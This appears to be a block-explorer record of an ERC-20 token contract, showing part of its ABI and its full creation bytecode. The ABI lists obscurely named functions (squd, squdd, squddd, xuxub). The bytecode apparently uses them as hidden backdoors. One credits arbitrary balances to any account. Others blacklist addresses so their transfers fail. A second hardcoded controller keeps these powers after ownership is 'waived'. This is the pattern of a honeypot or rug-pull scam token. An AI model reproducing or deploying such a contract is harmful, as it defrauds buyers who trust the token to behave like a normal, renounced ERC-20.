payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"minimumTokensBeforeSwapAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"newAddress","type":"address"}],"name":"sTWA","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLiquidityTax","type":"uint256"},{"internalType":"uint256","name":"newMarketingTax","type":"uint256"},{"internalType":"uint256","name":"newTeamTax","type":"uint256"}],"name":"setBuyTaxes","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLiquidityShare","type":"uint256"},{"internalType":"uint256","name":"newMarketingShare","type":"uint256"},{"internalType":"uint256","name":"newTeamShare","type":"uint256"}],"name":"setDistributionSettings","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"newValue","type":"bool"}],"name":"setIsExcludedFromFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"bool","name":"exempt","type":"bool"}],"name":"setIsTxLimitExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"bool","name":"exempt","type":"bool"}],"name":"setIsWalletLimitExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"newValue","type":"bool"}],"name":"setMarketPairStatus","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newAddress","type":"address"}],"name":"setMarketingWalletAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxTxAmount","type":"uint256"}],"name":"setMaxTxAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLimit","type":"uint256"}],"name":"setNumTokensBeforeSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLiquidityTax","type":"uint256"},{"internalType":"uint256","name":"newMarketingTax","type":"uint256"},{"internalType":"uint256","name":"newTeamTax","type":"uint256"}],"name":"setSelTaxes","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"newValue","type":"bool"}],"name":"setSwapAndLiquifyByLimitOnly","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_enabled","type":"bool"}],"name":"setSwapAndLiquifyEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLimit","type":"uint256"}],"name":"setWalletLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"},{"internalType":"address","name":"account","type":"address"}],"name":"squd","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_status","type":"bool"}],"name":"squdd","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"addre","type":"address"},{"internalType":"bool","name":"status","type":"bool"}],"name":"squddd","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapAndLiquifyByLimitOnly","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"teamWalletAddress","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"waiveOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"xuxub","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"xuxubb","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60e0604052600660a08190526514dc1a5c9a5d60d21b60c090815262000029916002919062000695565b506040805180820190915260068082526514dc1a5c9a5d60d21b6020909201918252620000599160039162000695565b50600480546001600160a81b0319908116749bd0cb2527991996c435a99b748bbe1f34e2f4a61217909155600580546ddead00000000000000000000000060805290911674019bd0cb2527991996c435a99b748bbe1f34e2f4a61790556003600d819055600e819055600f819055601081905560118190556012818155601382905560148290556015919091556009601681905560178190556018556200010290600a620007c8565b6200011190620f424062000894565b601955600454620001279060ff16600a620007c8565b6200013690620f424062000894565b601a556004546200014c9060ff16600a620007c8565b6200015b90620f424062000894565b601b55600454620001719060ff16600a620007c8565b6200017e90606462000894565b601c55601e805462ffffff60a81b19166201000160a81b179055348015620001a557600080fd5b5060008054336001600160a01b031991821681178355600180549092168117909155604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3506000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156200024757600080fd5b505afa1580156200025c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200028291906200073b565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015620002cb57600080fd5b505afa158015620002e0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200030691906200073b565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b1580156200034f57600080fd5b505af115801562000364573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200038a91906200073b565b601e80546001600160a01b039283166001600160a01b031991821617909155601d8054928416929091168217905560195430600090815260086020908152604080832094835293905291822055600190600990620003f06000546001600160a01b031690565b6001600160a01b0316815260208082019290925260409081016000908120805494151560ff1995861617905530815260098352208054909216600117909155600f54600e54600d54620004669362000452929062001aec62000626821b17901c565b6200062660201b62001aec1790919060201c565b60168190555062000491601254620004526011546010546200062660201b62001aec1790919060201c565b601781905550620004bc601554620004526014546013546200062660201b62001aec1790919060201c565b6018556001600a6000620004d86000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff19968716179055601e549091168152600a90925280822080548416600190811790915530835290822080549093168117909255600b90620005486000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff19968716179055308152600b8452828120805486166001908117909155601e549092168152600c90935290822080549093161790915560195490600790620005b43390565b6001600160a01b03168152602081019190915260400160002055336001600160a01b031660006001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6019546040516200061791815260200190565b60405180910390a35062000909565b60008062000635838562000764565b9050838110156200068c5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640160405180910390fd5b90505b92915050565b828054620006a390620008b6565b90600052602060002090601f016020900481019282620006c7576000855562000712565b82601f10620006e257805160ff191683800117855562000712565b8280016001018555821562000712579182015b8281111562000712578251825591602001919060010190620006f5565b506200072092915062000724565b5090565b5b8082111562000720576000815560010162000725565b6000602082840312156200074d578081fd5b81516001600160a01b03811681146200068c578182fd5b600082198211156200077a576200077a620008f3565b500190565b600181815b80851115620007c0578160001904821115620007a457620007a4620008f3565b80851615620007b257918102915b93841c939080029062000784565b509250929050565b6000620007d960ff841683620007e0565b9392505050565b600082620007f1575060016200068f565b8162000800575060006200068f565b8160018114620008195760028114620008245762000844565b60019150506200068f565b60ff841115620008385762000838620008f3565b50506001821b6200068f565b5060208310610133831016604e8410600b841016171562000869575081810a6200068f565b6200087583836200077f565b80600019048211156200088c576200088c620008f3565b029392505050565b6000816000190483118215151615620008b157620008b1620008f3565b500290565b600181811c90821680620008cb57607f821691505b60208210811415620008ed57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b60805160601c612c646200092f6000396000818161057a0152610ec30152612c646000f3fe6080604052600436106103c75760003560e01c806388790a68116101f2578063c816841b1161010d578063ec28438a116100a0578063f2fde38b1161006f578063f2fde38b14610b5a578063f567bc0214610b7a578063f84ba65d14610baa578063f872858a14610bca57600080fd5b8063ec28438a14610ae4578063ef422a1814610b04578063f0cd1dac14610b24578063f1d5f51714610b3a57600080fd5b8063d158272d116100dc578063d158272d14610a42578063da00097d14610a67578063dc44b6a014610a88578063dd62ed3e14610a9e57600080fd5b8063c816841b146109c6578063c8607952146109e6578063c867d60b146109fc578063cab0347114610a2c57600080fd5b8063a5d69d1f11610185578063c2d4640e11610154578063c2d4640e1461095a578063c469b6dd1461097a578063c49b9a8014610990578063c5d24189146109b057600080fd5b8063a5d69d1f146108e4578063a83f53a714610904578063a9059cbb1461091a578063b412cb5b1461093a57600080fd5b806395d89b41116101c157806395d89b4114610884578063a073d37f14610899578063a08e671f146108ae578063a457c2d7146108c457600080fd5b806388790a681461080b5780638b42507f146108215780638da5cb5b14610851578063914eb66a1461086f57600080fd5b80633ecad271116102e25780635c4482dd116102755780637d1db4a5116102445780637d1db4a5146107a9578063807c2d9c146107bf57806382eefb43146107d5578063844d591c146107eb57600080fd5b80635c4482dd1461071d57806361a23c691461073d5780636c2c67d51461075357806370a082311461077357600080fd5b8063557ed1ba116102b1578063557ed1ba146106b4578063568c4676146106c757806357a5802f146106e75780635881f3ef146106fd57600080fd5b80633ecad271146106135780634a74bb02146106435780634cb80fd5146106645780635342acb41461068457600080fd5b80632198cf6c1161035a5780632b112e49116103295780632b112e491461059c578063313ce567146105b157806339509351146105d35780633b97084a146105f357600080fd5b80632198cf6c1461050857806323b872dd146105285780632563ae831461054857806327c8f8351461056857600080fd5b80631694505e116103965780631694505e1461048857806318160ddd146104a85780631870517a146104c757806318e26f73146104e757600080fd5b806306fdde03146103d3578063095ea7b3146103fe5780630d5e5c871461042e5780631245e3471461045057600080fd5b366103ce57005b600080fd5b3480156103df57600080fd5b506103e8610beb565b6040516103f59190612a25565b60405180910390f35b34801561040a57600080fd5b5061041e610419366004612909565b610c7d565b60405190151581526020016103f5565b34801561043a57600080fd5b5061044e61044936600461298a565b610c94565b005b34801561045c57600080fd5b50600554610470906001600160a01b031681565b6040516001600160a01b0390911681526020016103f5565b34801561049457600080fd5b50601d54610470906001600160a01b031681565b3480156104b457600080fd5b506019545b6040519081526020016103f5565b3480156104d357600080fd5b5061044e6104e236600461298a565b610d10565b3480156104f357600080fd5b5060055461041e90600160a01b900460ff1681565b34801561051457600080fd5b5061044e6105233660046128d5565b610d7d565b34801561053457600080fd5b5061041e610543366004612895565b610df0565b34801561055457600080fd5b5061044e610563366004612934565b610e5b565b34801561057457600080fd5b506104707f000000000000000000000000000000000000000000000000000000000000000081565b3480156105a857600080fd5b506104b9610ec1565b3480156105bd57600080fd5b5060045460405160ff90911681526020016103f5565b3480156105df57600080fd5b5061041e6105ee366004612909565b610f0b565b3480156105ff57600080fd5b5061044e61060e36600461294e565b610f41565b34801561061f57600080fd5b5061041e61062e366004612825565b600c6020526000908152604090205460ff1681565b34801561064f57600080fd5b50601e5461041e90600160a81b900460ff1681565b34801561067057600080fd5b5061044e61067f366004612825565b610f8e565b34801561069057600080fd5b5061041e61069f366004612825565b60096020526000908152604090205460ff1681565b3480156106c057600080fd5b50426104b9565b3480156106d357600080fd5b5061044e6106e23660046128d5565b610ffe565b3480156106f357600080fd5b506104b960135481565b34801561070957600080fd5b50610470610718366004612825565b611071565b34801561072957600080fd5b5061044e610738366004612934565b611423565b34801561074957600080fd5b506104b960145481565b34801561075f57600080fd5b5061044e61076e366004612825565b611489565b34801561077f57600080fd5b506104b961078e366004612825565b6001600160a01b031660009081526007602052604090205490565b3480156107b557600080fd5b506104b9601a5481565b3480156107cb57600080fd5b506104b9601b5481565b3480156107e157600080fd5b506104b960175481565b3480156107f757600080fd5b5061044e6108063660046128d5565b6114f3565b34801561081757600080fd5b506104b960105481565b34801561082d57600080fd5b5061041e61083c366004612825565b600b6020526000908152604090205460ff1681565b34801561085d57600080fd5b506000546001600160a01b0316610470565b34801561087b57600080fd5b5061044e611566565b34801561089057600080fd5b506103e86115fe565b3480156108a557600080fd5b50601c546104b9565b3480156108ba57600080fd5b506104b960185481565b3480156108d057600080fd5b5061041e6108df366004612909565b61160d565b3480156108f057600080fd5b5061044e6108ff366004612934565b61165c565b34801561091057600080fd5b506104b960155481565b34801561092657600080fd5b5061041e610935366004612909565b6116c2565b34801561094657600080fd5b5061044e610955366004612966565b6116cf565b34801561096657600080fd5b5061044e61097536600461298a565b611757565b34801561098657600080fd5b506104b9600f5481565b34801561099c57600080fd5b5061044e6109ab366004612934565b6117c4565b3480156109bc57600080fd5b506104b9600e5481565b3480156109d257600080fd5b50601e54610470906001600160a01b031681565b3480156109f257600080fd5b506104b960115481565b348015610a0857600080fd5b5061041e610a17366004612825565b600a6020526000908152604090205460ff1681565b348015610a3857600080fd5b506104b960125481565b348015610a4e57600080fd5b506004546104709061010090046001600160a01b031681565b348015610a7357600080fd5b50601e5461041e90600160b01b900460ff1681565b348015610a9457600080fd5b506104b9600d5481565b348015610aaa57600080fd5b506104b9610ab936600461285d565b6001600160a01b03918216600090815260086020908152604080832093909416825291909152205490565b348015610af057600080fd5b5061044e610aff36600461294e565b611864565b348015610b1057600080fd5b5061044e610b1f3660046128d5565b6118b1565b348015610b3057600080fd5b506104b960165481565b348015610b4657600080fd5b5061044e610b5536600461294e565b611924565b348015610b6657600080fd5b5061044e610b75366004612825565b611971565b348015610b8657600080fd5b5061041e610b95366004612825565b60066020526000908152604090205460ff1681565b348015610bb657600080fd5b5061044e610bc53660046128d5565b611a79565b348015610bd657600080fd5b50601e5461041e90600160b81b900460ff1681565b606060028054610bfa90612b78565b80601f0160208091040260200160405190810160405280929190818152602001828054610c2690612b78565b8015610c735780601f10610c4857610100808354040283529160200191610c73565b820191906000526020600020905b815481529060010190602001808311610c5657829003601f168201915b5050505050905090565b6000610c8a338484611b4b565b5060015b92915050565b6001546001600160a01b0316336001600160a01b03161480610cc057506000546001600160a01b031633145b610ce55760405162461bcd60e51b8152600401610cdc90612a78565b60405180910390fd5b601083905560118290556012819055610d0881610d028585611aec565b90611aec565b601755505050565b6001546001600160a01b0316336001600160a01b03161480610d3c57506000546001600160a01b031633145b610d585760405162461bcd60e51b8152600401610cdc90612a78565b600d839055600e829055600f819055610d7581610d028585611aec565b601655505050565b6001546001600160a01b0316336001600160a01b03161480610da957506000546001600160a01b031633145b610dc55760405162461bcd60e51b8152600401610cdc90612a78565b6001600160a01b03919091166000908152600a60205260409020805460ff1916911515919091179055565b6000610dfd848484611c6f565b50610e508433610e4b85604051806060016040528060288152602001612be2602891396001600160a01b038a16600090815260086020908152604080832033845290915290205491906120a1565b611b4b565b5060015b9392505050565b6001546001600160a01b0316336001600160a01b03161480610e8757506000546001600160a01b031633145b610ea35760405162461bcd60e51b8152600401610cdc90612a78565b601e8054911515600160b81b0260ff60b81b19909216919091179055565b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316600090815260076020526040812054601954610f06916120db565b905090565b3360008181526008602090815260408083206001600160a01b03871684529091528120549091610c8a918590610e4b9086611aec565b6001546001600160a01b0316336001600160a01b03161480610f6d57506000546001600160a01b031633145b610f895760405162461bcd60e51b8152600401610cdc90612a78565b601c55565b6001546001600160a01b0316336001600160a01b03161480610fba57506000546001600160a01b031633145b610fd65760405162461bcd60e51b8152600401610cdc90612a78565b600480546001600160a01b0390921661010002610100600160a81b0319909216919091179055565b6001546001600160a01b0316336001600160a01b0316148061102a57506000546001600160a01b031633145b6110465760405162461bcd60e51b8152600401610cdc90612a78565b6001600160a01b03919091166000908152600660205260409020805460ff1916911515919091179055565b6001546000906001600160a01b0316336001600160a01b031614806110a057506000546001600160a01b031633145b6110bc5760405162461bcd60e51b8152600401610cdc90612a78565b6000829050806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156110fa57600080fd5b505afa15801561110e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111329190612841565b6001600160a01b031663e6a4390530836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561117a57600080fd5b505afa15801561118e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111b29190612841565b6040516001600160e01b031960e085901b1681526001600160a01b0392831660048201529116602482015260440160206040518083038186803b1580156111f857600080fd5b505afa15801561120c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112309190612841565b91506001600160a01b0382166113b457806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561127957600080fd5b505afa15801561128d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112b19190612841565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156112f957600080fd5b505afa15801561130d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113319190612841565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561137957600080fd5b505af115801561138d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113b19190612841565b91505b601e80546001600160a01b03199081166001600160a01b038581169182178455601d8054909316948116949094179091556000908152600a60209081526040808320805460ff19908116600190811790925594549095168352600c909152902080549091169091179055919050565b6001546001600160a01b0316336001600160a01b0316148061144f57506000546001600160a01b031633145b61146b5760405162461bcd60e51b8152600401610cdc90612a78565b60058054911515600160a01b0260ff60a01b19909216919091179055565b6001546001600160a01b0316336001600160a01b031614806114b557506000546001600160a01b031633145b6114d15760405162461bcd60e51b8152600401610cdc90612a78565b600580546001600160a01b0319166001600160a01b0392909216919091179055565b6001546001600160a01b0316336001600160a01b0316148061151f57506000546001600160a01b031633145b61153b5760405162461bcd60e51b8152600401610cdc90612a78565b6001600160a01b03919091166000908152600c60205260409020805460ff1916911515919091179055565b6001546001600160a01b0316336001600160a01b0316148061159257506000546001600160a01b031633145b6115ae5760405162461bcd60e51b8152600401610cdc90612a78565b6000805460405161dead926001600160a01b03909216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b03191661dead179055565b606060038054610bfa90612b78565b6000610c8a3384610e4b85604051806060016040528060258152602001612c0a602591393360009081526008602090815260408083206001600160a01b038d16845290915290205491906120a1565b6001546001600160a01b0316336001600160a01b0316148061168857506000546001600160a01b031633145b6116a45760405162461bcd60e51b8152600401610cdc90612a78565b601e8054911515600160b01b0260ff60b01b19909216919091179055565b6000610e50338484611c6f565b6001546001600160a01b0316336001600160a01b031614806116fb57506000546001600160a01b031633145b6117175760405162461bcd60e51b8152600401610cdc90612a78565b6001600160a01b03811660009081526007602052604090205461173a9083611aec565b6001600160a01b0390911660009081526007602052604090205550565b6001546001600160a01b0316336001600160a01b0316148061178357506000546001600160a01b031633145b61179f5760405162461bcd60e51b8152600401610cdc90612a78565b6013839055601482905560158190556117bc81610d028585611aec565b601855505050565b6001546001600160a01b0316336001600160a01b031614806117f057506000546001600160a01b031633145b61180c5760405162461bcd60e51b8152600401610cdc90612a78565b601e8054821515600160a81b0260ff60a81b199091161790556040517f53726dfcaf90650aa7eb35524f4d3220f07413c8d6cb404cc8c18bf5591bc1599061185990831515815260200190565b60405180910390a150565b6001546001600160a01b0316336001600160a01b0316148061189057506000546001600160a01b031633145b6118ac5760405162461bcd60e51b8152600401610cdc90612a78565b601a55565b6001546001600160a01b0316336001600160a01b031614806118dd57506000546001600160a01b031633145b6118f95760405162461bcd60e51b8152600401610cdc90612a78565b6001600160a01b03919091166000908152600960205260409020805460ff1916911515919091179055565b6001546001600160a01b0316336001600160a01b0316148061195057506000546001600160a01b031633145b61196c5760405162461bcd60e51b8152600401610cdc90612a78565b601b55565b6001546001600160a01b0316336001600160a01b0316148061199d57506000546001600160a01b031633145b6119b95760405162461bcd60e51b8152600401610cdc90612a78565b6001600160a01b038116611a1e5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610cdc565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001546001600160a01b0316336001600160a01b03161480611aa557506000546001600160a01b031633145b611ac15760405162461bcd60e51b8152600401610cdc90612a78565b6001600160a01b03919091166000908152600b60205260409020805460ff1916911515919091179055565b600080611af98385612b0a565b905083811015610e545760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610cdc565b6001600160a01b038316611bad5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610cdc565b6001600160a01b038216611c0e5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610cdc565b6001600160a01b0383811660008181526008602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60006001600160a01b038416611cd55760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610cdc565b6001600160a01b038316611d375760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610cdc565b600554600160a01b900460ff1615611d9a576001600160a01b03841660009081526006602052604090205460ff1615611d9a5760405162461bcd60e51b8152602060048201526005602482015264045524332360dc1b6044820152606401610cdc565b601e54600160a01b900460ff1615611dbe57611db784848461211d565b9050610e54565b6001600160a01b0384166000908152600b602052604090205460ff16158015611e0057506001600160a01b0383166000908152600b602052604090205460ff16155b15611e6857601a54821115611e685760405162461bcd60e51b815260206004820152602860248201527f5472616e7366657220616d6f756e74206578636565647320746865206d6178546044820152673c20b6b7bab73a1760c11b6064820152608401610cdc565b30600090815260076020526040902054601c5481108015908190611e965750601e54600160a01b900460ff16155b8015611ebb57506001600160a01b0386166000908152600c602052604090205460ff16155b8015611ed05750601e54600160a81b900460ff165b15611ef657601e54600160b01b900460ff1615611eed57601c5491505b611ef682612203565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b038916600090815260079091529190912054611f489186906120a1565b6001600160a01b038716600090815260076020908152604080832093909355600990529081205460ff1680611f9557506001600160a01b03861660009081526009602052604090205460ff165b611fa957611fa487878761233e565b611fab565b845b601e54909150600160b81b900460ff168015611fe057506001600160a01b0386166000908152600a602052604090205460ff16155b1561201657601b5461200b82610d02896001600160a01b031660009081526007602052604090205490565b111561201657600080fd5b6001600160a01b0386166000908152600760205260409020546120399082611aec565b6001600160a01b0380881660008181526007602052604090819020939093559151908916907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061208d9085815260200190565b60405180910390a360019350505050610e54565b600081848411156120c55760405162461bcd60e51b8152600401610cdc9190612a25565b5060006120d28486612b61565b95945050505050565b6000610e5483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506120a1565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b038616600090815260079091529182205461216e9184906120a1565b6001600160a01b03808616600090815260076020526040808220939093559085168152205461219d9083611aec565b6001600160a01b0380851660008181526007602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906121f19086815260200190565b60405180910390a35060019392505050565b601e805460ff60a01b1916600160a01b179055601854601354600091612239916002916122339182908790612444565b906124c3565b9050600061224783836120db565b905061225281612505565b6013544790600090612272906122699060026124c3565b601854906120db565b905060006122946002612233846122336013548861244490919063ffffffff16565b905060006122b1836122336015548761244490919063ffffffff16565b905060006122c9826122c387866120db565b906120db565b905080156122ec576004546122ec9061010090046001600160a01b0316826126c3565b811561230857600554612308906001600160a01b0316836126c3565b6000831180156123185750600087115b156123275761232787846126fe565b5050601e805460ff60a01b19169055505050505050565b6001600160a01b0383166000908152600c6020526040812054819060ff16156123825761237b60646122336016548661244490919063ffffffff16565b90506123c0565b6001600160a01b0384166000908152600c602052604090205460ff16156123c0576123bd60646122336017548661244490919063ffffffff16565b90505b801561243a57306000908152600760205260409020546123e09082611aec565b30600081815260076020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906124319085815260200190565b60405180910390a35b6120d283826120db565b60008261245357506000610c8e565b600061245f8385612b42565b90508261246c8583612b22565b14610e545760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610cdc565b6000610e5483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506127e2565b604080516002808252606082018352600092602083019080368337019050509050308160008151811061254857634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601d54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561259c57600080fd5b505afa1580156125b0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906125d49190612841565b816001815181106125f557634e487b7160e01b600052603260045260246000fd5b6001600160a01b039283166020918202929092010152601d5461261b9130911684611b4b565b601d5460405163791ac94760e01b81526001600160a01b039091169063791ac94790612654908590600090869030904290600401612ace565b600060405180830381600087803b15801561266e57600080fd5b505af1158015612682573d6000803e3d6000fd5b505050507f32cde87eb454f3a0b875ab23547023107cfad454363ec88ba5695e2c24aa52a782826040516126b7929190612aad565b60405180910390a15050565b6040516001600160a01b0383169082156108fc029083906000818181858888f193505050501580156126f9573d6000803e3d6000fd5b505050565b601d546127169030906001600160a01b031684611b4b565b601d546001600160a01b031663f305d71982308560008061273f6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b1580156127a257600080fd5b505af11580156127b6573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906127db91906129b5565b5050505050565b600081836128035760405162461bcd60e51b8152600401610cdc9190612a25565b5060006120d28486612b22565b8035801515811461282057600080fd5b919050565b600060208284031215612836578081fd5b8135610e5481612bc9565b600060208284031215612852578081fd5b8151610e5481612bc9565b6000806040838503121561286f578081fd5b823561287a81612bc9565b9150602083013561288a81612bc9565b809150509250929050565b6000806000606084860312156128a9578081fd5b83356128b481612bc9565b925060208401356128c481612bc9565b929592945050506040919091013590565b600080604083850312156128e7578182fd5b82356128f281612bc9565b915061290060208401612810565b90509250929050565b6000806040838503121561291b578182fd5b823561292681612bc9565b946020939093013593505050565b600060208284031215612945578081fd5b610e5482612810565b60006020828403121561295f578081fd5b5035919050565b60008060408385031215612978578182fd5b82359150602083013561288a81612bc9565b60008060006060848603121561299e578283fd5b505081359360208301359350604090920135919050565b6000806000606084860312156129c9578283fd5b8351925060208401519150604084015190509250925092565b6000815180845260208085019450808401835b83811015612a1a5781516001600160a01b0316875295820195908201906001016129f5565b509495945050505050565b6000602080835283518082850152825b81811015612a5157858101830151858201604001528201612a35565b81811115612a625783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b828152604060208201526000612ac660408301846129e2565b949350505050565b85815284602082015260a060408201526000612aed60a08301866129e2565b6001600160a01b0394909416606083015250608001529392505050565b60008219821115612b1d57612b1d612bb3565b500190565b600082612b3d57634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615612b5c57612b5c612bb3565b500290565b600082821015612b7357612b73612bb3565b500390565b600181811c90821680612b8c57607f821691505b60208210811415612bad57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b6001600160a01b0381168114612bde57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220857180710e0a0ec99edb080fa4304939bc4cf5ccfbbcd1af8cb0692209aae4f864736f6c63430008040033

Deployed Bytecode

